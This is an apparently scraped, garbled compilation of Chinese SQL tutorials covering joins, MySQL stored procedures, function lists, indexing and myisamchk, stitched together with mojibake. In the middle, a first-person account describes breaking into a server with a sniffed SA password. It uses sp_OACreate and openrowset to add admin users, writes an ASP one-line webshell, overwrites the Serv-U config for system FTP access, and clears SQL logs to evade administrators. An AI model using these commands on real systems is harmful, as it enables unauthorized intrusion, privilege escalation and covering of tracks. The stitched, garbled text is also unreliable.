??在? ?FROM?
?子句中指定外聯(lián)接時,可以由下列幾組關(guān)鍵字中的一組指定:? ?
? ?
??LEFT? ?JOIN? ?或? ?LEFT? ?OUTER?
?JOIN。? ???
??左向外聯(lián)接的結(jié)果集包括? ?LEFT? ?OUTER?
?子句中指定的左表的所有行,而不僅僅是聯(lián)接列所匹配的行。如果左表的某行在右表中沒有匹配行,則在相關(guān)聯(lián)的結(jié)果集行中右表的所有選擇列表列均為空值。? ?
?
?
??RIGHT? ?JOIN? ?或? ?RIGHT? ?OUTER? ?JOIN。?
???
??右向外聯(lián)接是左向外聯(lián)接的反向聯(lián)接。將返回右表的所有行。如果右表的某行在左表中沒有匹配行,則將為左表返回空值。? ?
? ?
??FULL? ?JOIN? ?或? ?FULL? ?OUTER? ?JOIN。?
???
??完整外部聯(lián)接返回左表和右表中的所有行。當(dāng)某行在另一個表中沒有匹配行時,則另一個表的選擇列表列包含空值。如果表之間有匹配行,則整個結(jié)果集行包含基表的數(shù)據(jù)值。?
?
? ?
??交叉聯(lián)接。? ???
??交叉聯(lián)接返回左表中的所有行,左表中的每一行與右表中的所有行組合。交叉聯(lián)接也稱作笛卡爾積。?
?
? ?
??例如,下面的內(nèi)聯(lián)接檢索與某個出版商居住在相同州和城市的作者:? ?
? ?
??USE? ?pubs?
?
??SELECT? ?a.au_fname,? ?a.au_lname,? ?p.pub_name? ?
??FROM? ?authors?
?AS? ?a? ?INNER? ?JOIN? ?publishers? ?AS? ?p? ?
? ?? ???ON? ?a.city? ?=?
?p.city? ?
? ?? ???AND? ?a.state? ?=? ?p.state? ?
??ORDER? ?BY?
?a.au_lname? ?ASC,? ?a.au_fname? ?ASC? ?
? ?
??FROM?
?子句中的表或視圖可通過內(nèi)聯(lián)接或完整外部聯(lián)接按任意順序指定;但是,用左或右向外聯(lián)接指定表或視圖時,表或視圖的順序很重要。有關(guān)使用左或右向外聯(lián)接排列表的更多信息,請參見使用外聯(lián)接。?
???
? ?
? ?
? ?
? ?
??例子:? ?
??a表? ???id? ?name? ???b表?
???id? ?job? ?parent_id? ?
? ?? ?? ?? ???1? ?張3? ?? ?? ?? ?? ?? ? 1? ???23?
???1? ?
? ?? ?? ?? ???2? ?李四? ?? ?? ?? ?? ???2? ???34? ???2? ?
? ?? ?? ??
???3? ?王武? ?? ?? ?? ?? ???3? ???34? ???4? ?
? ?
??a.id同parent_id? ?存在關(guān)系?
?
? ?
??內(nèi)連接? ?
??select? ?a.*,b.*? ?from? ?a? ?inner? ?join? ?b?
???on? ?a.id=b.parent_id? ?
? ?
??結(jié)果是? ???
??1? ?張3? ?? ?? ?? ?? ?? ?
1? ???23? ???1? ?
??2? ?李四? ?? ?? ?? ?? ???2? ???34? ???2? ?
? ?
??左連接? ?
? ?
??select? ?a.*,b.*? ?from? ?a? ?left? ?join? ?b? ???on?
?a.id=b.parent_id? ?
? ?
??結(jié)果是? ???
??1? ?張3? ?? ?? ?? ?? ?? ? 1?
???23? ???1? ?
??2? ?李四? ?? ?? ?? ?? ???2? ???34? ???2? ?
??3? ?王武? ?? ??
?? ?? ???null? ?
??右連接? ?
??select? ?a.*,b.*? ?from? ?a? ?right? ?join?
?b? ???on? ?a.id=b.parent_id? ?
? ?
??結(jié)果是? ???
??1? ?張3? ?? ?? ?? ??
?? ? 1? ???23? ???1? ?
??2? ?李四? ?? ?? ?? ?? ???2? ???34? ???2? ?
??null?
?? ?? ?? ?? ???3? ???34? ???4? ?
? ?
??完全連接? ?
? ?
??select?
?a.*,b.*? ?from? ?a? ?full? ?join? ?b? ???on? ?a.id=b.parent_id? ?
? ?
?
?
??結(jié)果是? ???
??1? ?張3? ?? ?? ?? ?? ?? ? 1? ???23? ???1? ?
??2? ?李四? ??
?? ?? ?? ???2? ???34? ???2? ?
??null? ?? ?? ?? ?? ???3? ???34? ???4?
?
??3? ?王武? ?? ?? ?? ?? ???null
左連接例子
select count(*) as title
from seek_user t1 left join sekk_info t2 on t1.seek_id=t2.user_id where
SeekusType!='8'
MySql5.0以后均支持存儲過程,最近有空,研究了一把這個
格式:
????????
CREATE PROCEDURE 過程名 ([過程參數(shù)[,...]])
???? [特性 ...] 過程體
CREATE FUNCTION 函數(shù)名 ([函數(shù)參數(shù)[,...]])
???? RETURNS 返回類型
???? [特性 ...] 函數(shù)體
????
過程參數(shù):
???? [ IN | OUT | INOUT ] 參數(shù)名 參數(shù)類型
????
函數(shù)參數(shù):
???? 參數(shù)名 參數(shù)類型
返回類型:
???? 有效的MySQL數(shù)據(jù)類型即可
特性:
???? LANGUAGE SQL
?? | [NOT] DETERMINISTIC
?? | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
?? | SQL SECURITY { DEFINER | INVOKER }
?? | COMMENT 'string'
過程體/函數(shù)體:格式如下:
BEGIN
???? 有效的SQL語句
END????
????
我在這里不關(guān)心專有的特性,這些與SQL規(guī)范不兼容,所以characteristic(特性)的相關(guān)內(nèi)容不作考慮。
//
在開發(fā)過程中有幾點(diǎn)要注意:
1、存儲過程注釋:MySQL支持采用--或者/**/注釋,其中前者是行注釋,后者是段式注釋
2、變量首先用declare申明,其中臨時變量可以直接以@前綴修飾以供引用
3、直接采用MySQL的Administrator管理器編輯時,可以直接采用如下函數(shù)文本錄入;
??? 但若在腳本中自動導(dǎo)入存儲過程或函數(shù)時,由于MySQL默認(rèn)以";"為分隔符,則過程體的每一句
??? 都被MySQL以存儲過程編譯,則編譯過程會報錯;所以要事先用DELIMITER關(guān)鍵字申明當(dāng)前段分隔符
??? 用完了就把分隔符還原。?? 如下所示:
??????? DELIMITER $$
??????? Stored Procedures and Functions
??????? DELIMITER ;
4、MySQL支持大量的內(nèi)嵌函數(shù),有些是和大型商用數(shù)據(jù)庫如oracle、informix、sybase等一致,
??? 但也有些函數(shù)名稱不一致,但功能一致;或者有些名稱一致,但功能相異,這個特別對于從
??? 這些數(shù)據(jù)庫開發(fā)轉(zhuǎn)過來的DBA要注意。
5、存儲過程或函數(shù)的調(diào)試:我目前還沒有研究MySQL所帶的各種工具包,還不清楚其提供了調(diào)試工具
??? 沒有,不過編譯錯誤相對好查找;至于業(yè)務(wù)流程的調(diào)試,可以采用一個比較笨的方法,就是創(chuàng)建一
??? 個調(diào)試表,在包體中各個流程點(diǎn)都插入一條記錄,以觀察程序執(zhí)行流程。這也是一個比較方便的笨
??? 辦法。^_^
???
??? 下面是2個例子,提供了一種字串加密的算法,每次以相同的入?yún)⒄{(diào)用都會得到不同的加密結(jié)果,
??? 算法相對比較簡單,不具備強(qiáng)度。分別以函數(shù)和過程的形式分別實現(xiàn)如下:
(1)函數(shù)
eg:
CREATE FUNCTION fun_addmm(inpass varchar(10)) RETURNS varchar(11)
BEGIN
????? declare string_in varchar(39);
????? declare string_out varchar(78);
????? declare offset tinyint(2);
????? declare outpass varchar(30) default ';
????? declare len tinyint;
????? /*declare i tinyint;*/
????? /**/
????? set len=LENGTH(inpass);
????? if((len<=0) or (len>10)) then
????????? return "";
????? end if;
????? set offset=(SECOND(NOW()) mod 39)+1; /*根據(jù)秒數(shù)取模*/
????? /*insert into?? testtb values(offset,'offset: ');*/
????? set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#$_';?? /*密鑰*/
????? set string_in='_$#ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
????? set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));
/*????? insert into?? testtb values(2,outpass);*/
????? set string_out=CONCAT(string_out,string_out);
????? set @i=0;
????? REPEAT
??????? set @i=@i+1;
??????? set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));
/*??????? insert into?? testtb values(@i+2,outpass);*/
????? UNTIL (@i>=len)
????? end REPEAT;
????? return outpass;
END
(2)過程
CREATE PROCEDURE `pro_addmm`(IN inpass varchar(10),OUT outpass varchar(11))
BEGIN
????? declare string_in varchar(39);
????? declare string_out varchar(78);
????? declare offset tinyint(2);????????????????
????? declare len tinyint;
????? set outpass=';
????? set len=LENGTH(inpass);
????? if((len<=0) or (len>10)) then
????????? set outpass=';
????? else
????????? set offset=(SECOND(NOW()) mod 39)+1;
????????? set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#$_';
????????? set string_in='_$#ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
????????? set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));
????????? set string_out=CONCAT(string_out,string_out);
????????? set @i=0;
????????? REPEAT
??????????????? set @i=@i+1;
??????????????? set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));
????????? UNTIL (@i>=len)
????????? end REPEAT;
????? end if;
END
//
執(zhí)行結(jié)果如下:
mysql> call pro_addmm('zhouys',@a);
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT @a;
+---------+
| @a?????? |
+---------+
| U_PI6$4 |
+---------+
1 row in set (0.00 sec)
mysql> call pro_addmm('zhouys',@a);
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT @a;
+---------+
| @a?????? |
+---------+
| 9P8UEGM |
+---------+
1 row in set (0.00 sec)
mysql> select fun_submm('U_PI6$4');
+----------------------+
| fun_submm('U_PI6$4') |
+----------------------+
| ZHOUYS??????????????? |
+----------------------+
1 row in set (0.00 sec)
加密算法有幾個弱點(diǎn):
1、不支持大小寫
2、不支持中文
3、加密強(qiáng)度不夠
有興趣的人可以研究一下解密函數(shù)如何編寫,這里就不贅述了。
前幾天在搞一個站的時候嗅到了一個SA密碼 但是用sql tool連上之后發(fā)現(xiàn)怎么也不能執(zhí)行DOS命令
郁悶了 今天突然想到可以用存儲過程來搞定這個
服務(wù)器~
首先在本地用sql server的查詢分析器連上他 權(quán)限當(dāng)然是SA啦
但是在執(zhí)行exec master.dbo.xp_cmdshell'net user'的時候卻提示跟sql tool一樣的錯誤 看來xp_cmdshell確
實不能用
錯誤消息
50001,級別 1,狀態(tài) 50001
xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行)
可能是某個相關(guān)的DLL文件被刪除了
如圖1

看來xp_cmdshell是不能用鳥~ 不過偶們還有SP_OAcreate可以用 用SP_OAcreate一樣可以執(zhí)行系統(tǒng)命令
在查詢分析器里執(zhí)行
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'
這段代碼就是利用SP_OAcreate來添加一個gydyhook的系統(tǒng)用戶 然后直接提升為管理員權(quán)限就OK了
提示命令完成成功 說明SP_OAcreate并沒有被刪除 我們用終端連一下
如圖2
圖3


居然提示密碼錯誤?難道是wscript.shell被刪了?其實這里的判斷只是經(jīng)驗而你 你要問我怎么判斷服務(wù)器是
做了密碼策略還是wscript.shell被刪 我只能告訴你這是經(jīng)驗而已
雖然wscript.shell被刪了 但是我們還是有FSO嘛。 先試著列下目錄 找到WEB目錄搞個SHELL再說
使用exec master.dbo.xp_subdirs 'c:\'來查看C盤的目錄 發(fā)現(xiàn)完全可以列目錄
列目錄沒問題了 然后偶查看D盤的時候發(fā)現(xiàn)有D:\web這個目錄 隨便找一個網(wǎng)站在IE里打看發(fā)現(xiàn)存在這個網(wǎng)站
然后列出來幾個目錄發(fā)現(xiàn)這個網(wǎng)站還有ewebeditor 不過偶們今天不用他 因為有SA嘛 也不用去備份了 直接寫
個一句話進(jìn)去
語句如下
exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '
提示命令執(zhí)行成功偶們看看效果
如圖4
如圖5


看來小馬寫進(jìn)去鳥~ 一點(diǎn)沒問題 剩下的就是寫入大馬啦 然后提權(quán)之~ 哈哈 但是意想不到的事情又發(fā)生了
NND竟然不讓我傳大馬 我日 提示ADODB.Stream 錯誤 '800a0bbc' 寫入文件失敗。 然后換了N個目錄都寫不進(jìn)
去
然后我又列出來其他的目錄寫小馬進(jìn)去 但是都傳不了大馬 看來管理員把整個WEB目錄都設(shè)置成了只讀
如圖6

NND我都有SA了還不信搞不定這個服務(wù)器 差點(diǎn)忘記了還可以用沙盤 嘿嘿 看來一著急腦子就亂
查詢分析器里執(zhí)行select * from openrowset('microsoft.jet.oledb.4.0','
;database=c:\windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net user admin admin1234 /add")')來利用沙盤來添加個管理員 但是事實告訴
我 我的RP并不好
如圖7

既然沙盤也不行 那就另尋出路吧
剛才列目錄的時候好象看見了Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的時候發(fā)現(xiàn)看
不到文件夾里的內(nèi)容 不過沒關(guān)系~ 偶們不是有一句話么。雖然沒有寫的權(quán)限 但是讀的權(quán)限總改有吧 直接在
一句話里查看目錄就OK了 雖然能看目錄 但是用ASP馬,也不能讀出SERV——U配置文件來 看來還得用存儲過程
如圖8

既然找到了SU的目錄那偶就想能不能利用一句話寫配置信息到ServUDaemon.ini里 然后利用SU來提權(quán) 但是事實
證明這個破站權(quán)限太牛X了 只能看不能寫 不過沒關(guān)系 偶們還可以利用存儲過程
嘿嘿 使用declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
這段代碼就可以把ServUDaemon.ini里的配置信息全部顯示出來 嘿嘿 既然能看了那偶門不是一樣可以寫進(jìn)去?
直接寫一個系統(tǒng)權(quán)限的
FTP帳號 進(jìn)去
使用declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 《這里添寫自己寫好的SU配置信息 剛才復(fù)制的那些都要
寫上去》
然后執(zhí)行一下 成功執(zhí)行 我們再用存儲過程看看寫進(jìn)去沒有
如圖9

OK 我XXXXXX 成功寫進(jìn)去了一個用戶名為XXXX密碼為空的系統(tǒng)權(quán)限的
FTP 然后偶們在
FTP里執(zhí)行
quote siteXXXXXXX 提權(quán)就好了。 這里已經(jīng)很熟悉了 就不寫了。~ 然后用3389連一下 成功地到服務(wù)器權(quán)限
然后偶們再用set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 來清理掉SQL日志 免的被管理員發(fā)現(xiàn)
整個的提權(quán)過程大部分都是用存儲過程來完成的。其實這些東西在以前提權(quán)的時候都沒有想到。
感覺這個思路很不錯 所以寫出來 各位大牛見笑了
一.字符串類
CHARSET(str) //返回字串字符集
CONCAT (string2??[,... ]) //連接字串
INSTR (string ,substring ) //返回substring首次在string中出現(xiàn)的位置,不存在返回0
LCASE (string2 ) //轉(zhuǎn)換成小寫
LEFT (string2 ,length ) //從string2中的左邊起取length個字符
LENGTH (string ) //string長度
LOAD_FILE (file_name ) //從文件讀取內(nèi)容
LOCATE (substring , string??[,start_position ] ) 同INSTR,但可指定開始位置
LPAD (string2 ,length ,pad ) //重復(fù)用pad加在string開頭,直到字串長度為length
LTRIM (string2 ) //去除前端空格
REPEAT (string2 ,count ) //重復(fù)count次
REPLACE (str ,search_str ,replace_str ) //在str中用replace_str替換search_str
RPAD (string2 ,length ,pad) //在str后用pad補(bǔ)充,直到長度為length
RTRIM (string2 ) //去除后端空格
STRCMP (string1 ,string2 ) //逐字符比較兩字串大小,
SUBSTRING (str , position??[,length ]) //從str的position開始,取length個字符,
注:mysql中處理字符串時,默認(rèn)第一個字符下標(biāo)為1,即參數(shù)position必須大于等于1
mysql> select substring('abcd',0,2);
+-----------------------+
| substring('abcd',0,2) |
+-----------------------+
|?????????????????????? |
+-----------------------+
1 row in set (0.00 sec)
mysql> select substring('abcd',1,2);
+-----------------------+
| substring('abcd',1,2) |
+-----------------------+
| ab????????????????????|
+-----------------------+
1 row in set (0.02 sec)
TRIM([[BOTH|LEADING|TRAILING] [padding] FROM]string2) //去除指定位置的指定字符
UCASE (string2 ) //轉(zhuǎn)換成大寫
RIGHT(string2,length) //取string2最后length個字符
SPACE(count) //生成count個空格
二
.數(shù)學(xué)類
ABS (number2 ) //絕對值
BIN (decimal_number ) //十進(jìn)制轉(zhuǎn)二進(jìn)制
CEILING (number2 ) //向上取整
CONV(number2,from_base,to_base) //進(jìn)制轉(zhuǎn)換
FLOOR (number2 ) //向下取整
FORMAT (number,decimal_places ) //保留小數(shù)位數(shù)
HEX (DecimalNumber ) //轉(zhuǎn)十六進(jìn)制
注:HEX()中可傳入字符串,則返回其ASC-11碼,如HEX('DEF')返回4142143
也可以傳入十進(jìn)制整數(shù),返回其十六進(jìn)制編碼,如HEX(25)返回19
LEAST (number , number2??[,..]) //求最小值
MOD (numerator ,denominator ) //求余
POWER (number ,power ) //求指數(shù)
RAND([seed]) //隨機(jī)數(shù)
ROUND (number??[,decimals ]) //四舍五入,decimals為小數(shù)位數(shù)]
注
:返回類型并非均為整數(shù),如
:
(1)默認(rèn)變?yōu)檎沃?br />mysql> select round(1.23);
+-------------+
| round(1.23) |
+-------------+
|?????????? 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select round(1.56);
+-------------+
| round(1.56) |
+-------------+
|?????????? 2 |
+-------------+
1 row in set (0.00 sec)
(2)可以設(shè)定小數(shù)位數(shù)
,返回浮點(diǎn)型數(shù)據(jù)
mysql> select round(1.567,2);
+----------------+
| round(1.567,2) |
+----------------+
|?????????? 1.57 |
+----------------+
1 row in set (0.00 sec)
SIGN (number2 ) //返回符號,正負(fù)或0
SQRT(number2) //開平方
三
.日期時間類
ADDTIME (date2 ,time_interval ) //將time_interval加到date2
CONVERT_TZ (datetime2 ,fromTZ ,toTZ ) //轉(zhuǎn)換時區(qū)
CURRENT_DATE (??) //當(dāng)前日期
CURRENT_TIME (??) //當(dāng)前時間
CURRENT_TIMESTAMP (??) //當(dāng)前時間戳
DATE (datetime ) //返回datetime的日期部分
DATE_ADD (date2 , INTERVAL d_value d_type ) //在date2中加上日期或時間
DATE_FORMAT (datetime ,FormatCodes ) //使用formatcodes格式顯示datetime
DATE_SUB (date2 , INTERVAL d_value d_type ) //在date2上減去一個時間
DATEDIFF (date1 ,date2 ) //兩個日期差
DAY (date ) //返回日期的天
DAYNAME (date ) //英文星期
DAYOFWEEK (date ) //星期(1-7) ,1為星期天
DAYOFYEAR (date ) //一年中的第幾天
EXTRACT (interval_name??FROM date ) //從date中提取日期的指定部分
MAKEDATE (year ,day ) //給出年及年中的第幾天,生成日期串
MAKETIME (hour ,minute ,second ) //生成時間串
MONTHNAME (date ) //英文月份名
NOW (??) //當(dāng)前時間
SEC_TO_TIME (seconds ) //秒數(shù)轉(zhuǎn)成時間
STR_TO_DATE (string ,format ) //字串轉(zhuǎn)成時間,以format格式顯示
TIMEDIFF (datetime1 ,datetime2 ) //兩個時間差
TIME_TO_SEC (time ) //時間轉(zhuǎn)秒數(shù)]
WEEK (date_time [,start_of_week ]) //第幾周
YEAR (datetime ) //年份
DAYOFMONTH(datetime) //月的第幾天
HOUR(datetime) //小時
LAST_DAY(date) //date的月的最后日期
MICROSECOND(datetime) //微秒
MONTH(datetime) //月
MINUTE(datetime) //分
附:可用在INTERVAL中的類型
DAY ,DAY_HOUR ,DAY_MINUTE ,DAY_SECOND ,HOUR ,HOUR_MINUTE ,HOUR_SECOND ,MINUTE ,MINUTE_SECOND,MONTH ,SECOND ,YEAR
就象許多的PHP開發(fā)者一樣,在剛開始建立動態(tài)網(wǎng)站的時候,我都是使用相對簡單的數(shù)據(jù)結(jié)構(gòu)。PHP在連接數(shù)據(jù)庫方面的確實是十分方便(譯者注:有些人認(rèn)為
PHP在連接不同數(shù)據(jù)庫時沒有一個統(tǒng)一的接口,不太方便,其實這可以通過一些擴(kuò)展庫來做到這一點(diǎn)),你無需看大量的設(shè)計文檔就可以建立和使用數(shù)據(jù)庫,這也
是PHP獲得成功的主要原因之一。?
??前些時候,一位頗高級的程序員居然問我什么叫做索引,令我感到十分的驚奇,我想這絕不會是滄海一
粟,因為有成千上萬的開發(fā)者(可能大部分是使用MySQL的)都沒有受過有關(guān)數(shù)據(jù)庫的正規(guī)培訓(xùn),盡管他們都為客戶做過一些開發(fā),但卻對如何為數(shù)據(jù)庫建立適
當(dāng)?shù)乃饕^少,因此我起了寫一篇相關(guān)文章的念頭。
??最普通的情況,是為出現(xiàn)在where子句的字段建一個索引。為方便講述,我們先建立一個如下的表。
Code代碼如下:CREATE?TABLE?mytable?(
id?serial?primary?key,
category_id?int?not?null?default?0,
user_id?int?not?null?default?0,
adddate?int?not?null?default?0
);
??很簡單吧,不過對于要說明這個問題,已經(jīng)足夠了。如果你在查詢時常用類似以下的語句:
SELECT?*?FROM?mytable?WHERE?category_id=1;?
??最直接的應(yīng)對之道,是為category_id建立一個簡單的索引:
CREATE?INDEX?mytable_categoryid?
ON?mytable?(category_id);
??OK,搞定?先別高興,如果你有不止一個選擇條件呢?例如:
SELECT?*?FROM?mytable?WHERE?category_id=1?AND?user_id=2;
??你的第一反應(yīng)可能是,再給user_id建立一個索引。不好,這不是一個最佳的方法。你可以建立多重的索引。
CREATE?INDEX?mytable_categoryid_userid?ON?mytable?(category_id,user_id);
??注意到我在命名時的習(xí)慣了嗎?我使用"表名_字段1名_字段2名"的方式。你很快就會知道我為什么這樣做了。
??現(xiàn)在你已經(jīng)為適當(dāng)?shù)淖侄谓⒘怂饕?,不過,還是有點(diǎn)不放心吧,你可能會問,數(shù)據(jù)庫會真正用到這些索引嗎?測試一下就OK,對于大多數(shù)的數(shù)據(jù)庫來說,這是很容易的,只要使用EXPLAIN命令:
EXPLAIN
SELECT?*?FROM?mytable?
WHERE?category_id=1?AND?user_id=2;
This?is?what?Postgres?7.1?returns?(exactly?as?I?expected)?
NOTICE:?QUERY?PLAN:
Index?Scan?using?mytable_categoryid_userid?on?
??mytable?(cost=0.00..2.02?rows=1?width=16)
EXPLAIN
??以上是postgres的數(shù)據(jù),可以看到該數(shù)據(jù)庫在查詢的時候使用了一個索引(一個好開始),而且它使用的是我創(chuàng)建的第二個索引。看到我上面命名的好處了吧,你馬上知道它使用適當(dāng)?shù)乃饕恕?br />
??接著,來個稍微復(fù)雜一點(diǎn)的,如果有個ORDER?BY字句呢?不管你信不信,大多數(shù)的數(shù)據(jù)庫在使用order?by的時候,都將會從索引中受益。
SELECT?*?FROM?mytable?
??WHERE?category_id=1?AND?user_id=2
????ORDER?BY?adddate?DESC;
??有點(diǎn)迷惑了吧?很簡單,就象為where字句中的字段建立一個索引一樣,也為ORDER?BY的字句中的字段建立一個索引:
CREATE?INDEX?mytable_categoryid_userid_adddate
??ON?mytable?(category_id,user_id,adddate);
??注意:?"mytable_categoryid_userid_adddate"?將會被截短為
"mytable_categoryid_userid_addda"
CREATE
??EXPLAIN?SELECT?*?FROM?mytable
WHERE?category_id=1?AND?user_id=2
ORDER?BY?adddate?DESC;
NOTICE:?QUERY?PLAN:
Sort?(cost=2.03..2.03?rows=1?width=16)
->?Index?Scan?using?mytable_categoryid_userid_addda?
on?mytable?(cost=0.00..2.02?rows=1?width=16)
EXPLAIN
??看看EXPLAIN的輸出,好象有點(diǎn)恐怖啊,數(shù)據(jù)庫多做了一個我們沒有要求的排序,這下知道性能如何受損了吧,看來我們對于數(shù)據(jù)庫的自身運(yùn)作是有點(diǎn)過于樂觀了,那么,給數(shù)據(jù)庫多一點(diǎn)提示吧。
??
為了跳過排序這一步,我們并不需要其它另外的索引,只要將查詢語句稍微改一下。這里用的是postgres,我們將給該數(shù)據(jù)庫一個額外的提示--在
ORDER?BY語句中,加入where語句中的字段。這只是一個技術(shù)上的處理,并不是必須的,因為實際上在另外兩個字段上,并不會有任何的排序操作,不
過如果加入,postgres將會知道哪些是它應(yīng)該做的。
EXPLAIN?SELECT?*?FROM?mytable?
??WHERE?category_id=1?AND?user_id=2
ORDER?BY?category_id?DESC,user_id?DESC,adddate?DESC;
NOTICE:?QUERY?PLAN:
Index?Scan?Backward?using?
mytable_categoryid_userid_addda?on?mytable?
??(cost=0.00..2.02?rows=1?width=16)
EXPLAIN
??現(xiàn)在使用我們料想的索引了,而且它還挺聰明,知道可以從索引后面開始讀,從而避免了任何的排序。
??
以上說得細(xì)了一點(diǎn),不過如果你的數(shù)據(jù)庫非常巨大,并且每日的頁面請求達(dá)上百萬算,我想你會獲益良多的。不過,如果你要做更為復(fù)雜的查詢呢,例如將多張表結(jié)
合起來查詢,特別是where限制字句中的字段是來自不止一個表格時,應(yīng)該怎樣處理呢?我通常都盡量避免這種做法,因為這樣數(shù)據(jù)庫要將各個表中的東西都結(jié)
合起來,然后再排除那些不合適的行,搞不好開銷會很大。
??如果不能避免,你應(yīng)該查看每張要結(jié)合起來的表,并且使用以上的策略來建立索引,然后再用EXPLAIN命令驗證一下是否使用了你料想中的索引。如果是的話,就OK。不是的話,你可能要建立臨時的表來將他們結(jié)合在一起,并且使用適當(dāng)?shù)乃饕?br />
??要注意的是,建立太多的索引將會影響更新和插入的速度,因為它需要同樣更新每個索引文件。對于一個經(jīng)常需要更新和插入的表格,就沒有必要為一個很少使用的where字句單獨(dú)建立索引了,對于比較小的表,排序的開銷不會很大,也沒有必要建立另外的索引。
??
以上介紹的只是一些十分基本的東西,其實里面的學(xué)問也不少,單憑EXPLAIN我們是不能判定該方法是否就是最優(yōu)化的,每個數(shù)據(jù)庫都有自己的一些優(yōu)化器,
雖然可能還不太完善,但是它們都會在查詢時對比過哪種方式較快,在某些情況下,建立索引的話也未必會快,例如索引放在一個不連續(xù)的存儲空間時,這會增加讀
磁盤的負(fù)擔(dān),因此,哪個是最優(yōu),應(yīng)該通過實際的使用環(huán)境來檢驗。
??在剛開始的時候,如果表不大,沒有必要作索引,我的意見是在需要的時候才作索引,也可用一些命令來優(yōu)化表,例如MySQL可用"OPTIMIZE?TABLE"。
??綜上所述,在如何為數(shù)據(jù)庫建立恰當(dāng)?shù)乃饕矫妫銘?yīng)該有一些基本的概念了。
Myisamchk是MyISAM表維護(hù)的一個非常實用的工具。可以使用myisamchk實用程序來獲得有關(guān)數(shù)據(jù)庫表的信息或檢查、修復(fù)、優(yōu)化他們。myisamchk適用MyISAM表(對應(yīng).MYI和.MYD文件的表)。
1.myisamchk的調(diào)用方法
myisamchk [options] tbl_name ...
其中options指定你想讓myisamchk干什么。
它允許你通過使用模式“*.MYI”指定在一個目錄所有的表。
shell> myisamchk *.MYI
推薦的快速檢查所有MyISAM表的方式是:
shell> myisamchk --silent --fast /path/to/datadir/*/*.MYI
當(dāng)你運(yùn)行myisamchk時,必須確保其它程序不使用表。
當(dāng)你運(yùn)行myisamchk時內(nèi)存分配重要.MYIsamchk使用的內(nèi)存大小不能超過用-O選項指定的。對于大多數(shù)情況,使用-O sort=16M應(yīng)該足夠了。
另外在修復(fù)時myisamchk需要大量硬盤空間,基本上是所涉及表空間的雙倍大小。
2.myisamchk的一般選項
--debug=debug_options, -# debug_options
輸出調(diào)試記錄文件。debug_options字符串經(jīng)常是'd:t:o,filename'。
--silent,-s
沉默模式。僅當(dāng)發(fā)生錯誤時寫輸出。
--wait, -w
如果表被鎖定,不是提示錯誤終止,而是在繼續(xù)前等待到表被解鎖。
如果不使用--skip-external-locking,可以隨時使用myisamchk來檢查表。當(dāng)檢查表時,所有嘗試更新表的客戶端將等待,直到myisamchk準(zhǔn)備好可以繼續(xù)。
請注意如果用--skip-external-locking選項運(yùn)行mysqld,只能用另一個myisamchk命令鎖定表。
--var_name=value
可以通過--var_name=value選項設(shè)置下面的變量:
decode_bits 9
ft_max_word_len 取決于版本
ft_min_word_len 4
ft_stopword_file 內(nèi)建列表
key_buffer_size 523264
myisam_block_size 1024
read_buffer_size 262136
sort_buffer_size 2097144
sort_key_blocks 16
stats_method nulls_unequal
write_buffer_size 262136
如果想要快速修復(fù),將key_buffer_size和sort_buffer_size變量設(shè)置到大約可用內(nèi)存的25%。
可以將兩個變量設(shè)置為較大的值,因為一個時間只使用一個變量。
myisam_block_size是用于索引塊的內(nèi)存大小。
stats_method影響當(dāng)給定--analyze選項時,如何為索引統(tǒng)計搜集處理NULL值。
3.myisamchk的檢查選項
--check, -c
檢查表的錯誤。如果你不明確指定操作類型選項,這就是默認(rèn)操作。
--check-only-changed, -C
只檢查上次檢查后有變更的表。
--extend-check, -e
非常仔細(xì)地檢查表。如果表有許多索引將會相當(dāng)慢。
--fast,-F
只檢查沒有正確關(guān)閉的表。
--force, -f
如果myisamchk發(fā)現(xiàn)表內(nèi)有任何錯誤,則自動進(jìn)行修復(fù)。
--information, -i
打印所檢查表的統(tǒng)計信息。
--medium-check, -m
比--extend-check更快速地進(jìn)行檢查。只能發(fā)現(xiàn)99.99%的錯誤
--update-state, -U
將信息保存在.MYI文件中,來表示表檢查的時間以及是否表崩潰了。該選項用來充分利用--check-only-changed選項,
但如果mysqld服務(wù)器正使用表并且正用--skip-external-locking選項運(yùn)行時不應(yīng)使用該選項。
--read-only, -T
不要將表標(biāo)記為已經(jīng)檢查。如果你使用myisamchk來檢查正被其它應(yīng)用程序使用而沒有鎖定的表很有用
4.myisamchk的修復(fù)選項
--backup, -B
將.MYD文件備份為file_name-time.BAK
--character-sets-dir=path
字符集安裝目錄。
--correct-checksum
糾正表的校驗和信息。
--data-file-length=len, -D len
數(shù)據(jù)文件的最大長度
--extend-check,-e
